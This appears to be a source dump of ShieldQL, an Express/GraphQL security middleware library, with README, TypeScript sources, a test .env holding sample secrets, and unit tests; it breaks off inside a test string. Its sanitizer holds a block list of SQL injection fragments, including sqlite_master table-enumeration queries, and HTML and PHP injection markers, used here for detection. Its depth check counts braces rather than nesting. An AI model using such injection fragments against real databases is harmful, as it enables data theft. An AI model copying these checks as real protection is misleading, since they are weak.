├── .gitignore
├── CODE_OF_CONDUCT.md
├── README.md
├── TypeScript
├── loginLink.ts
├── main.ts
├── sanitize.ts
├── sanitizeQuery.ts
└── shieldqlConfig.ts
├── __testing__
├── .env
├── sanitize.test.js
├── shieldql.json
├── shieldqlConfig.test.js
└── validateUser.test.js
├── assets
├── sample_directory.png
├── sample_directory2.png
└── shieldQL.png
├── loginLink.js
├── main.js
├── package-lock.json
├── package.json
├── sanitize.js
├── sanitizeQuery.js
├── shieldqlConfig.js
├── tsconfig.json
└── validateUser.js
/.gitignore:
--------------------------------------------------------------------------------
1 | # Logs
2 | logs
3 | *.log
4 | npm-debug.log*
5 | yarn-debug.log*
6 | yarn-error.log*
7 | pnpm-debug.log*
8 | lerna-debug.log*
9 |
10 | node_modules
11 | dist
12 | dist-ssr
13 | *.local
14 |
15 | # Editor directories and files
16 | .vscode/*
17 | !.vscode/extensions.json
18 | .idea
19 | .DS_Store
20 | *.suo
21 | *.ntvs*
22 | *.njsproj
23 | *.sln
24 | *.sw?
25 |
--------------------------------------------------------------------------------
/CODE_OF_CONDUCT.md:
--------------------------------------------------------------------------------
1 | # Contributor Covenant Code of Conduct
2 |
3 | ## Our Pledge
4 |
5 | We as members, contributors, and leaders pledge to make participation in our
6 | community a harassment-free experience for everyone, regardless of age, body
7 | size, visible or invisible disability, ethnicity, sex characteristics, gender
8 | identity and expression, level of experience, education, socio-economic status,
9 | nationality, personal appearance, race, caste, color, religion, or sexual
10 | identity and orientation.
11 |
12 | We pledge to act and interact in ways that contribute to an open, welcoming,
13 | diverse, inclusive, and healthy community.
14 |
15 | ## Our Standards
16 |
17 | Examples of behavior that contributes to a positive environment for our
18 | community include:
19 |
20 | - Demonstrating empathy and kindness toward other people
21 | - Being respectful of differing opinions, viewpoints, and experiences
22 | - Giving and gracefully accepting constructive feedback
23 | - Accepting responsibility and apologizing to those affected by our mistakes,
24 | and learning from the experience
25 | - Focusing on what is best not just for us as individuals, but for the overall
26 | community
27 |
28 | Examples of unacceptable behavior include:
29 |
30 | - The use of sexualized language or imagery, and sexual attention or advances of
31 | any kind
32 | - Trolling, insulting or derogatory comments, and personal or political attacks
33 | - Public or private harassment
34 | - Publishing others' private information, such as a physical or email address,
35 | without their explicit permission
36 | - Other conduct which could reasonably be considered inappropriate in a
37 | professional setting
38 |
39 | ## Enforcement Responsibilities
40 |
41 | Community leaders are responsible for clarifying and enforcing our standards of
42 | acceptable behavior and will take appropriate and fair corrective action in
43 | response to any behavior that they deem inappropriate, threatening, offensive,
44 | or harmful.
45 |
46 | Community leaders have the right and responsibility to remove, edit, or reject
47 | comments, commits, code, wiki edits, issues, and other contributions that are
48 | not aligned to this Code of Conduct, and will communicate reasons for moderation
49 | decisions when appropriate.
50 |
51 | ## Scope
52 |
53 | This Code of Conduct applies within all community spaces, and also applies when
54 | an individual is officially representing the community in public spaces.
55 | Examples of representing our community include using an official e-mail address,
56 | posting via an official social media account, or acting as an appointed
57 | representative at an online or offline event.
58 |
59 | ## Enforcement
60 |
61 | Instances of abusive, harassing, or otherwise unacceptable behavior may be
62 | reported to the community leaders responsible for enforcement at
63 | samourcalderon@gmail.com.
64 | All complaints will be reviewed and investigated promptly and fairly.
65 |
66 | All community leaders are obligated to respect the privacy and security of the
67 | reporter of any incident.
68 |
69 | ## Enforcement Guidelines
70 |
71 | Community leaders will follow these Community Impact Guidelines in determining
72 | the consequences for any action they deem in violation of this Code of Conduct:
73 |
74 | ### 1. Correction
75 |
76 | **Community Impact**: Use of inappropriate language or other behavior deemed
77 | unprofessional or unwelcome in the community.
78 |
79 | **Consequence**: A private, written warning from community leaders, providing
80 | clarity around the nature of the violation and an explanation of why the
81 | behavior was inappropriate. A public apology may be requested.
82 |
83 | ### 2. Warning
84 |
85 | **Community Impact**: A violation through a single incident or series of
86 | actions.
87 |
88 | **Consequence**: A warning with consequences for continued behavior. No
89 | interaction with the people involved, including unsolicited interaction with
90 | those enforcing the Code of Conduct, for a specified period of time. This
91 | includes avoiding interactions in community spaces as well as external channels
92 | like social media. Violating these terms may lead to a temporary or permanent
93 | ban.
94 |
95 | ### 3. Temporary Ban
96 |
97 | **Community Impact**: A serious violation of community standards, including
98 | sustained inappropriate behavior.
99 |
100 | **Consequence**: A temporary ban from any sort of interaction or public
101 | communication with the community for a specified period of time. No public or
102 | private interaction with the people involved, including unsolicited interaction
103 | with those enforcing the Code of Conduct, is allowed during this period.
104 | Violating these terms may lead to a permanent ban.
105 |
106 | ### 4. Permanent Ban
107 |
108 | **Community Impact**: Demonstrating a pattern of violation of community
109 | standards, including sustained inappropriate behavior, harassment of an
110 | individual, or aggression toward or disparagement of classes of individuals.
111 |
112 | **Consequence**: A permanent ban from any sort of public interaction within the
113 | community.
114 |
115 | ## Attribution
116 |
117 | This Code of Conduct is adapted from the [Contributor Covenant][homepage],
118 | version 2.1, available at
119 | [https://www.contributor-covenant.org/version/2/1/code_of_conduct.html][v2.1].
120 |
121 | Community Impact Guidelines were inspired by
122 | [Mozilla's code of conduct enforcement ladder][Mozilla CoC].
123 |
124 | For answers to common questions about this code of conduct, see the FAQ at
125 | [https://www.contributor-covenant.org/faq][FAQ]. Translations are available at
126 | [https://www.contributor-covenant.org/translations][translations].
127 |
128 | [homepage]: https://www.contributor-covenant.org
129 | [v2.1]: https://www.contributor-covenant.org/version/2/1/code_of_conduct.html
130 | [Mozilla CoC]: https://github.com/mozilla/diversity
131 | [FAQ]: https://www.contributor-covenant.org/faq
132 | [translations]: https://www.contributor-covenant.org/translations
133 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
ShieldQL 🛡️
4 |
5 |
6 | [ShieldQL](https://www.shieldql.com) is a lightweight, powerful, easy-to-use JavaScript library for GraphQL that adds authentication, authorization, and query sanitization to prevent malicious queries and injection attacks.
7 |
8 | - **Authentication:** ShieldQL helps you implement user authentication in your GraphQL APIs, ensuring that only authenticated users can access certain parts of your API.
9 | - **Authorization:** With ShieldQL, you can define granular access controls for different types and fields in your GraphQL schema. This way, you can control what data each user can access based on their role and permissions.
10 | - **Query Sanitization:** ShieldQL gives you the tools to sanitize incoming GraphQL queries to prevent potential malicious operations and protect your backend from excessively deep and excessively long queries used in denial-of-service attacks.
11 |
12 | ## Features
13 |
14 | - **shieldqlConfig:** A Javascript function that allows you to configure how sanitizeQuery will restrict queries and creates a secret for each role in the shieldql.json file, storing all of this information in the .env file and the process.env object
15 |
16 | - Where to use: Recommended use is next to importation of ShieldQL functionality in main server file (similar to dotenv.config())
17 | - shieldqlConfig accepts 3 params: strictShieldQL (a boolean), maxDepthShieldQL (a number), and maxLengthShieldQL (a number), which are used to configure sanitizeQuery (see sanitizeQuery for more details)
18 | - strictShieldQL: (default false) boolean value that determines whether or not sanitizeQuery will be run on strict mode or not (strictmode allows queries to be checked against the blocklist)
19 | - maxDepthShieldQL: (default 10) number that establishes the upper bound for the maximum depth of a graphQL query
20 | - maxLengthShieldQL: (default 2000) number that establishes the upper bound for total characters in a graphQL query
21 |
22 | - **loginLink:** Express middleware function that authenticates the client, creates a jwt access token, and stores it as a cookie on the client's browser to authorize future graphQL queries and mutations aligned with the user's role-based permissions described in the shieldql.json file
23 |
24 | - Where to use: loginLink should be invoked in a separate login-related route, so that the request body includes the access token in subsequent requests to the /graphql endpoint
25 |
26 | - Assumes that res.locals.role has already been populated with the user's role (that matches roles defined in the shieldql.json file) by a previous middleware function
27 |
28 | - NOTE: Access token expires after one day
29 |
30 | - **validateUser:** Express middleware function that verifies that the client making a graphQL query or mutation is authorized to do so through jwt verification
31 | - Where to use: validateUser should be invoked as part of the middleware chain for the /graphql route
32 |
33 | - **sanitizeQuery:** Express middleware function users will require and invoke in their applications to sanitize graphQL queries
34 | - Where to use: sanitizeQuery should be invoked as the **first** piece of middleware in the middleware chain for the /graphql route
35 |
36 | - sanitizeQuery works even if shieldqlConfig is never invoked, although if used without shieldqlConfig, default parameters will be used (strictmode set to false, maxDepth set to 10, maxLength set to 2000)
37 |
38 | - **sanitize:** Pure function users can require and invoke in their applications to sanitize the passed-in query.
39 | - Accepts 4 params:
40 | - input (required, a graphQL query type string)
41 | - strict (a bool value, default false, that enables additional query sanitization)
42 | - maxDepth (the maximum query nesting depth permitted, type integer)
43 | - maxLength (maximum permitted query length, type integer) that
44 | - Can be used as a standalone function and is also invoked within the body of the sanitizeQuery function
45 |
46 | ## Setup
47 |
48 | - Make sure dotenv has been imported, that it is properly configured, and that a .env file already exists
49 | - Ensure that the .env file is in the root directory
50 |
51 | 
52 |
53 | - Create a shieldql.json file in root directory. This file will define the roles and permissions that will be enforced throughout the user's graphQL application.
54 | - E.g.:
55 |
56 | ```javascript
57 | {
58 | "admin": {
59 | "query": ["."],
60 | "mutation": ["."]
61 | },
62 | "user": {
63 | "query": ["feed", "news"]
64 | },
65 | "job-applicant": {
66 | "query": ["job-description"]
67 | }
68 | }
69 | ```
70 |
71 | - Ensure that the appropriate graphQL role from the shieldqlConfig.js file is passed into the graphQL route through **res.locals.role** in order for loginLink to enforce authentication and authorization
72 |
73 | - A common approach to this problem is the following (see below for an example)
74 |
75 | - Insert a middleware function preceding loginLink that queries the user database
76 | - Extracts the graphQL role
77 | - Stores it in **res.locals.role**
78 |
79 | ```javascript
80 | const express = require('express');
81 | const graphqlHttp = require('express-graphql');
82 | const shieldql = require('shieldql');
83 | const dotenv = require('dotenv');
84 | dotenv.config();
85 |
86 | // shieldqlConfig configures settings for sanitizeQuery
87 | // if the first arg is true, sanitizeQuery will check queries against the blocklist
88 | // second arg indicates maxDepth allowed
89 | // third arg indicates maxLength allowed
90 | shieldql.shieldqlConfig(true, 15, 5000);
91 |
92 | const app = express();
93 |
94 | app.post('/login',
95 | populateResLocalsRole, //this middleware function will pass role via res.locals.role
96 | shieldql.loginLink, // loginLink will use the role to create an access token
97 | (req, res) => {
98 | return res.status(200).json(res.locals);
99 | }
100 | );
101 |
102 | app.post(
103 | '/graphql',
104 | shieldql.sanitizeQuery, // developers can invoke sanitizeQuery to sanitize queries based on the rules passed into shieldqlConfig
105 | shieldql.validateUser, // validateUser checks if user is authorized to make the query based on their role and the permissions set in shieldql.json
106 | graphqlHttp({
107 | schema: graphQlSchema,
108 | rootValue: graphQlResolvers,
109 | graphiql: true,
110 | })
111 | );
112 | ```
113 |
114 | - NOTE: ShieldQL will NOT be able to authenticate and authorize graphQL queries unless roles are passed into loginLink through **res.locals.role** :shipit:
115 |
116 | ## Installation
117 |
118 | ```javascript
119 | npm i shieldql
120 | ```
121 |
122 | ## Security Considerations
123 |
124 | While ShieldQL offers essential security features, it's crucial to keep your application and dependencies up to date to stay protected against emerging security threats. Always follow best practices for securing your GraphQL APIs.
125 |
126 | ## Future direction
127 |
128 | - allowListing configuration and implementation for sanitize.js
129 | - Amount limiting (limiting number of times a query can be called)
130 | - make app compatible with multiple root level queries/mutations in a single request
131 | - implement refresh tokens
132 | - Jest/End-to-end Testing
133 | - Add error handling for GraphQL queries
134 | - Developing a graphical interface for configuring permissions and user roles
135 | - Integrate a database to restrict malicious query runs.
136 | - Typescript
137 |
138 | ## Contribution guidelines
139 |
140 | We welcome contributions to ShieldQL!
141 |
142 | Following Meta's lead with React, we have adopted the [Contributor Covenant](https://www.contributor-covenant.org/) as our [code of conduct](CODE_OF_CONDUCT.md) for future contributors. Please read it to ensure that you understand and accept the terms and conditions described therein.
143 |
144 | ### Branch management
145 |
146 | - Please submit any pull requests to the dev branch. All changes will be reviewed before merging by [OSLabs](https://www.opensourcelabs.io/) and prior contributors.
147 |
148 | ### Bugs and suggestions
149 |
150 | - For help with existing issues, please read our [GitHub issues page](https://github.com/oslabs-beta/ShieldQL/issues)
151 | - If you cannot find support in the issues page, please file a report on the same issues page.
152 | - Suggestions and other feedback are more than welcome!
153 |
154 | ## Contributors
155 |
156 | - **Rodrigo S. Calderon** | [LinkedIn](https://www.linkedin.com/in/rodrigosamourcalderon/) | [GitHub](https://github.com/rscalderon)
157 | - **Simran Kaur** | [LinkedIn](https://www.linkedin.com/in/simran-kaur-nyc/) | [GitHub](https://github.com/simk209)
158 | - **Xin Jin Qiu** | [LinkedIn](https://www.linkedin.com/in/xinjinqiu/) | [GitHub](https://github.com/xjqiu28)
159 | - **Siful Siddiki** | [LinkedIn](https://www.linkedin.com/in/siful-siddiki/) | [GitHub](https://github.com/sifulsidd)
160 | - **Joie Zhang** | [LinkedIn](https://www.linkedin.com/in/joie-zhang/) | [GitHub](https://github.com/joie-zhang)
161 |
162 | Inspired by [graphQLock](https://github.com/oslabs-beta/graphQLock).
163 |
164 | ## License
165 |
166 | _ShieldQL is ISC licensed._
167 |
168 | Thank you for using ShieldQL! We hope this library helps you secure your GraphQL APIs effectively. If you encounter any issues or need further assistance, please don't hesitate to reach out to us.
169 |
170 | Happy coding!
171 |
--------------------------------------------------------------------------------
/TypeScript/loginLink.ts:
--------------------------------------------------------------------------------
1 | import { Request, Response, NextFunction } from 'express';
2 | //Purpose: generate access tokens
3 |
4 | /*Questions:
5 | - Does it matter if the CRUD app uses tokens
6 | - i want to take time to think about what the tokens/authorization process is doing for us
7 | - should the token payload be the username? or the role?
8 | - how will this be verified? jwt.verify seems to check if an access token is real, but can that tell what type of access token they have? Do we need to knwo what type of access token they have, or will the verification process use something else (e.g.: res.locals) to determine what role the user has
9 | - if we use role, will every USER have the same token? And would that be an issue?
10 | - how long do we want the access tokens to last (i.e.: what should the expiry be)
11 | - should we also use refresh tokens?
12 | */
13 | const loginLink = (req: Request, res: Response, next: NextFunction) => {
14 | //require jwt token
15 | const jwt = require('jsonwebtoken');
16 |
17 | //res.locals.role will contain the role
18 | //the below code would generate access tokens, with the payload being role
19 | // but would it create a different token every time it is run?
20 | //otherwise multiple Users may have the same token. that may or may not be an issue tho
21 | const secretToken = `ACCESS_TOKEN_${res.locals.role.toUpperCase()}_SECRET`;
22 | const accessToken = jwt.sign(res.locals.role, process.env[secretToken]);
23 | /*
24 | , (err, success) => {
25 | if (err) {
26 | return next({
27 | log: `Express error ${err} ROLE NOT FOUND`,
28 | status: 404,
29 | message: { err: 'INVALID USER' }
30 | })
31 | }
32 | })
33 | */
34 |
35 | res.cookie('accessToken', accessToken, {
36 | httpOnly: true,
37 | secure: true,
38 | });
39 | return next();
40 | };
41 |
42 | // export loginLink
43 | module.exports = { loginLink };
44 |
--------------------------------------------------------------------------------
/TypeScript/main.ts:
--------------------------------------------------------------------------------
1 | const jwt = require('jsonwebtoken');
2 | const { loginLink } = require('./loginLink.ts');
3 | const { sanitizeQuery } = require('./sanitizeQuery.ts');
4 | const { shieldqlConfig } = require('./shieldqlConfig.ts');
5 | import { Request, Response, NextFunction } from 'express';
6 |
7 | //structure of jwt:
8 | //header includes hashing algo
9 | //payload
10 | //signature = hash payload + secret
11 |
12 | // jwt.verify(token,secret) //
13 |
14 | // setupCounter(document.querySelector('#counter'))
15 |
16 | const validateUser = (req: Request, res: Response, next: NextFunction) => {
17 | //check cookies in request
18 | //pull out access token from cookies
19 | const accessToken = req.cookies.accessToken;
20 |
21 | //decode the cookie to determine what the payload role is
22 | // const obj = jwt.decode(accessToken);
23 |
24 | //NOTE: double check that obj.role accesses the role. consider logging the obj
25 |
26 | const secret =
27 | process.env[`ACCESS_TOKEN_${res.locals.role.toUpperCase()}_SECRET`];
28 |
29 | //verify token using decoded role. if verification fails, send error
30 | // result payload comes back as an object with roles and username as keys
31 | jwt.verify(accessToken, secret, (err: string, decoded: string) => {
32 | if (err) {
33 | return next({
34 | log: `Express error ${err} during validate user `,
35 | status: 400,
36 | message: { err: 'INVALID USER' },
37 | });
38 | } else {
39 | let query = req.body.query;
40 | query = query.replace(/\n/g, ' ').trim();
41 | let word = '';
42 | for (let i = 0; i < query.length; i++) {
43 | if (query[i] === ' ') {
44 | break;
45 | } else {
46 | word += query[i];
47 | }
48 | }
49 | //if the query was a mutation, throw an error
50 | if (decoded !== 'Admin' && word === 'mutation') {
51 | return next({
52 | log: `Express error ${err} USER DOES NOT HAVE VALID PERMISSIONS`,
53 | status: 401,
54 | message: { err: 'INVALID USER' },
55 | });
56 | } else return next();
57 | }
58 | });
59 | };
60 |
61 | //Note- the following is hardcoded for our Admin with read/write access.
62 | //we're also only checking for read/write access rather than anything specific
63 | //not checking the actual customizable shieldql.json file
64 | //also - we are not triggering global error handler
65 |
66 | module.exports = {
67 | validateUser,
68 | loginLink,
69 | sanitizeQuery,
70 | shieldqlConfig,
71 | };
72 |
--------------------------------------------------------------------------------
/TypeScript/sanitize.ts:
--------------------------------------------------------------------------------
1 | // init sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in query
2 | const sanitize = (
3 | input: string,
4 | strict = false,
5 | maxDepth = 10,
6 | maxLength = 2000
7 | ) => {
8 | // validate input type is string
9 | if (typeof input !== 'string') throw new Error('input must be a string');
10 | // check if input is more deeply nested than maxDepth
11 | deepLimit(input, maxDepth);
12 | // check if input is longer than maxLength
13 | lengthLimit(input, maxLength);
14 | // if function is being run on strict mode
15 | if (strict) {
16 | // allowlisting is an option we are not currently pursuing, but could help further secure our queries
17 | // init const blockList as arr of potentially malicious fragments (strings)
18 | const blockList = [
19 | // common SQL injection fragments
20 | '1=1',
21 | `' OR`,
22 | 'select sqlite_version()',
23 | 'SELECT sql FROM sqlite_schema',
24 | `SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'`,
25 | // common HTML injection fragments
26 | '',
28 | 'script',
29 | // dangerous characters
30 | '<',
31 | '>',
32 | '-',
33 | '/',
34 | "'",
35 | `{"`,
36 | `"{`,
37 | `}"`,
38 | `*`,
39 | `"}`,
40 | `\\`,
41 | `{\\`,
42 | // log spoofing
43 | `%`,
44 | // PHP code insertion
45 | 'php',
46 | ];
47 | // iterate through each string in blockList
48 | for (const str of blockList) {
49 | // if input (query) contains a potentially malicious fragment, throw new error
50 | if (input.includes(str))
51 | throw new Error(`potentially malicious string detected:, ${str}`);
52 | }
53 | }
54 | return input;
55 | // amount limiting (limiting number of times a query can be called)
56 | };
57 | // };
58 | // init helper func deepLimit that accepts two params, input (a JSON string graphQL query) and depth (a number value) and throws an error if the passed-in input has a depth greater than depth, else returns input
59 | const deepLimit = (input: string, depth: number) => {
60 | // init const stack as an empty array
61 | const stack = [];
62 | // iterate through the input array
63 | for (let i = 0; i < input.length; i++) {
64 | if (stack.length > depth)
65 | throw new Error(
66 | 'Maximum query depth exceeded, modify query or maximum permitted query depth'
67 | );
68 | const el = input[i];
69 | // if the element is '{' push it to the stack
70 | if (el === '{') stack.push(el);
71 | }
72 | return input;
73 | };
74 |
75 | // init helper func deepLimit that accepts two params, input (a JSON string graphQL query) and length (a number value) and throws an error if the passed-in input has a length greater than length, else returns input
76 | const lengthLimit = (input: string, length: number) => {
77 | // if input length exceeds passed-in param length, throw new Error
78 | if (input.length > length)
79 | throw new Error(
80 | 'Maximum query length exceeded, modify query or maximum permitted query length'
81 | );
82 | // if input depth is within the permitted limits, return input
83 | return input;
84 | };
85 |
86 | module.exports = { sanitize };
87 |
--------------------------------------------------------------------------------
/TypeScript/sanitizeQuery.ts:
--------------------------------------------------------------------------------
1 | // import file system, and path functionality
2 | // const { readFile } = require('fs');
3 | // const path = require('path');
4 | const { sanitize } = require('./sanitize.ts');
5 | import { Request, Response, NextFunction } from 'express';
6 |
7 | // import parse functionality from envfile library
8 | // const { parse } = require('envfile');
9 | // import env file as envSource
10 | // const envSource = path.resolve(__dirname, '.env');
11 |
12 | // init sanitizeQuery, an Express middleware function users will require and invoke in their applications to sanitize graphQL queries
13 | // const sanitizeQueryPrev = async (res, req, next) => {
14 | // try {
15 | // // read env file (could potentially also implement with just reading from process.env object)
16 | // readFile(envSource, 'utf8', async (err, data) => {
17 | // // init const result as parsed (into JS object) env file contents
18 | // const result = parse(data);
19 | // // if error reading env file, invoke global error handler
20 | // if (err)
21 | // return next({
22 | // log: `Error at shieldQL sanitizeQuery while reading env file: ${err}`,
23 | // status: 400,
24 | // message: 'Internal server error',
25 | // });
26 | // // init paramsArr, an array that will store all args to be passed into the sanitize helper function, with single element input query
27 | // const paramsArr = [req.body.query];
28 | // // check if result (the .env file) contains any params for strict, maxLength, and maxDepth
29 | // paramsArr.push(result.strictShieldQL ? result.strictShieldQL : false);
30 | // paramsArr.push(result.maxDepthShieldQL ? result.maxDepthShieldQL : 10);
31 | // paramsArr.push(
32 | // result.maxLengthShieldQL ? result.maxLengthShieldQL : 2000
33 | // );
34 | // // reassign query property of req.body to the sanitized query with passed-in config from env file
35 | // req.body.query = sanitize(...paramsArr);
36 | // // move to next link in middleware chain
37 | // return next();
38 | // });
39 | // } catch (err) {
40 | // // if error sanitizing query, invoke global error handler
41 | // return next({
42 | // log: `Error at shieldQL sanitizeQuery while sanitizing query: ${err}`,
43 | // status: 406,
44 | // message: 'There is something wrong with this query',
45 | // });
46 | // }
47 | // };
48 |
49 | // Version of sanitizeQuery that does not read .env file and instead directly pulls data from process.env object
50 | // this version of sanitizeQuery should be more performant in terms of time and space complexity (no need to find, read, and parse file)
51 | // init sanitizeQuery, an Express middleware function users will require and invoke in their applications to sanitize graphQL queries
52 | const sanitizeQuery = async (
53 | req: Request,
54 | res: Response,
55 | next: NextFunction
56 | ) => {
57 | try {
58 | // init paramsArr, an array that will store all args to be passed into the sanitize helper function, with single element input query
59 | const paramsArr = [req.body.query];
60 | // check if result (the .env file) contains any params for strict, maxLength, and maxDepth
61 | paramsArr.push(
62 | process.env.strictShieldQL ? process.env.strictShieldQL : false
63 | );
64 | paramsArr.push(
65 | process.env.maxDepthShieldQL ? process.env.maxDepthShieldQL : 10
66 | );
67 | paramsArr.push(
68 | process.env.maxLengthShieldQL ? process.env.maxLengthShieldQL : 2000
69 | );
70 | // reassign query property of req.body to the sanitized query with passed-in config from env file
71 | req.body.query = sanitize(...paramsArr);
72 | // move to next link in middleware chain
73 | return next();
74 | // if error sanitizing query, invoke global error handler
75 | } catch (err) {
76 | return next({
77 | log: `Error at shieldQL sanitizeQuery while sanitizing query: ${err}`,
78 | status: 406,
79 | message: 'There is something wrong with this query',
80 | });
81 | }
82 | };
83 |
84 | // export sanitizeQuery
85 | module.exports = { sanitizeQuery };
86 |
--------------------------------------------------------------------------------
/TypeScript/shieldqlConfig.ts:
--------------------------------------------------------------------------------
1 | // import file system, path, and encryption functionality
2 | const fs = require('fs');
3 | const path = require('path');
4 | const encrypt = require('crypto');
5 | // import parse and stringify functionality from envfile library
6 | const { parse, stringify } = require('envfile');
7 | // import path to env file as envSource
8 | const envSource = path.resolve(__dirname, '../../.env');
9 | // import object containing user-configured GraphQL roles and corresponding permissions from the shieldql.json file as permissions
10 | const permissions = require(path.resolve(__dirname, '../../shieldql.json'));
11 |
12 | // init func shieldqlConfig that accepts 3 params: strictShieldQL (bool), maxDepthShieldQL (number), maxLengthShieldQL (number) and creates new secrets and sanitizeQuery params properties in both the env file and the process.env object
13 | const shieldqlConfig = (
14 | strictShieldQL: boolean = false,
15 | maxDepthShieldQL: number = 10,
16 | maxLengthShieldQL: number = 2000
17 | ) => {
18 | // init const roles as array of uppercase strings (keys of permissions obj) describing permissions for each role in the shieldql file
19 | const roles = Object.keys(permissions).map(
20 | (role) => `ACCESS_TOKEN_${role.toUpperCase()}_SECRET`
21 | );
22 | // read env file
23 | fs.readFile(envSource, 'utf8', (err: string, data: string) => {
24 | // if error reading file log error
25 | if (err) return console.log('Error at shieldqlConfig:', err);
26 | // init const newEnv to store parsed (into JS object) env file contents
27 | const newEnv = parse(data);
28 | // for each role in the shieldql.json file, generate and store a secret as the value corresponding to each role from shieldql.json
29 | roles.forEach((role) => {
30 | // generate new secret
31 | const secret = encrypt.randomBytes(64).toString('hex');
32 | // store role and secret as key value pairs in the process.env obj (which was assigned to env variables at start and needs to be updated going forward) and the new env file (the newEnv obj)
33 | process.env[role] = newEnv[role] = secret;
34 | });
35 | // add each passed-in arg as a value in both the new .env file and the process.env object
36 | process.env.strictShieldQL = newEnv.strictShieldQL =
37 | JSON.stringify(strictShieldQL);
38 | process.env.maxDepthShieldQL = newEnv.maxDepthShieldQL =
39 | JSON.stringify(maxDepthShieldQL);
40 | process.env.maxLengthShieldQL = newEnv.maxLengthShieldQL =
41 | JSON.stringify(maxLengthShieldQL);
42 | // if refresh token secret doesn't already exist in the env file, create new refresh token secret
43 | if (!newEnv['REFRESH_TOKEN_SECRET']) {
44 | const secret = encrypt.randomBytes(64).toString('hex');
45 | // add secret and string 'REFRESH_TOKEN_SECRET' as key-value pairs
46 | process.env['REFRESH_TOKEN_SECRET'] = newEnv['REFRESH_TOKEN_SECRET'] =
47 | secret;
48 | }
49 | // update env file with new secrets
50 | fs.writeFile(envSource, stringify(newEnv), (err: string) => {
51 | // if unsuccessful log error, else log confirmation message
52 | err
53 | ? console.log('Error updating env file at shieldqlConfig:', err)
54 | : console.log('ShieldQL successfully configured');
55 | });
56 | });
57 | };
58 |
59 | // export shieldqlConfig
60 | module.exports = { shieldqlConfig };
61 |
--------------------------------------------------------------------------------
/__testing__/.env:
--------------------------------------------------------------------------------
1 | # This is our test .env file
2 | ACCESS_TOKEN_ROCK_SECRET=fa339c25ab4dcc8be6f21d9735dd561ecef6df711629cbc07cf232339faa9110ee894810d5646fc143c58666e3865bae358819789726d5bea303115aaaeb3f98
3 | ACCESS_TOKEN_PAPER_SECRET=5459130747b6798ae297b34504481e0ebfc4afba6cc0c2d3acb45e110dc6ae9ba81173c92343e014050cbfe71a782b42be8e9e189eba8b749b3a1a4f146bceea
4 | ACCESS_TOKEN_SCISSORS_SECRET=b2d25926935d9a78ecf65872b569eebfaa50bab5fcaff821cbf12b785d293848a3bcfb8b35f63459610b4ec9342f9dd53ed04900da019bb110c24eb135a61d39
5 | strictShieldQL=false
6 | maxDepthShieldQL=10
7 | maxLengthShieldQL=2000
8 | REFRESH_TOKEN_SECRET=254fc162662ab6d329b544b7c2e6a49ae0b9266220caccdee2ced3ea7f035284dc576096ffaef62577c05018b8ca766d6442d62c5aebbf7cc83fb478d6b8963e
9 |
--------------------------------------------------------------------------------
/__testing__/sanitize.test.js:
--------------------------------------------------------------------------------
1 | // import sanitize function from sanitize.js
2 | const { sanitize } = require('../sanitize.js');
3 |
4 | describe('sanitize unit tests', () => {
5 | it('Should throw an error if a query is nested more than 10 levels deep and no argument is passed-in for the maxDepth parameter', () => {
6 | // init mock deepQuery string
7 | const deepQuery = `query maliciousQuery {
8 | thread(id: "some-id") {
9 | messages(first: 99999) {
10 | thread {
11 | messages(first: 99999) {
12 | thread {
13 | messages(first: 99999)
14 | thread {
15 | messages(first: 99999)
16 | thread {
17 | messages(first: 99999)
18 | thread {
19 | messages(first: 99999)
20 | thread {
21 | messages(first: 99999)
22 | thread {
23 | messages(first: 99999)
24 | thread {
25 | }
26 | }
27 | }
28 | }
29 | }
30 | }
31 | }
32 | }
33 | }
34 | }
35 | }
36 | }
37 | }
38 | }
39 | }
40 | }
41 | }`;
42 | // init mock shallowQuery string
43 | const shallowQuery = `query friendlyQuery {
44 | thread(id: "some-id") {
45 | messages(first: 10) {
46 | thread {
47 | }
48 | }
49 | }
50 | }`;
51 | // expect sanitize to throw error with deepQuery since depth > 10
52 | expect(() => sanitize(deepQuery)).toThrowError();
53 | // expect sanitize to not throw error with shallowQuery since depth < 10
54 | expect(() => sanitize(shallowQuery)).not.toThrowError();
55 | });
56 | it('Should allow user to customize depth limit', () => {
57 | // deepQuery is a mock deep query string
58 | const deepQuery = `query maliciousQuery {
59 | thread(id: "some-id") {
60 | messages(first: 99999) {
61 | thread {
62 | messages(first: 99999) {
63 | thread {
64 | messages(first: 99999)
65 | thread {
66 | messages(first: 99999)
67 | thread {
68 | messages(first: 99999)
69 | thread {
70 | messages(first: 99999)
71 | thread {
72 | messages(first: 99999)
73 | thread {
74 | messages(first: 99999)
75 | thread {
76 | }
77 | }
78 | }
79 | }
80 | }
81 | }
82 | }
83 | }
84 | }
85 | }
86 | }
87 | }
88 | }
89 | }
90 | }
91 | }
92 | }`;
93 | // shallowQuery is a mock shallow query string
94 | const shallowQuery = `query friendlyQuery {
95 | thread(id: "some-id") {
96 | messages(first: 10) {
97 | thread {
98 | }
99 | }
100 | }
101 | }`;
102 | // user be able to customize desired maximum permitted query depth
103 | expect(() => sanitize(deepQuery, false, 20)).not.toThrowError();
104 | expect(() => sanitize(shallowQuery, false, 1)).toThrowError();
105 | });
106 | it('Should throw an error if a query is above the length limit', () => {
107 | // longQuery is a very long mock query string (>2000 characters)
108 | const longQuery =
109 | 'init sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in queryinit sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in queryinit sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in queryinit sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in queryinit sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, 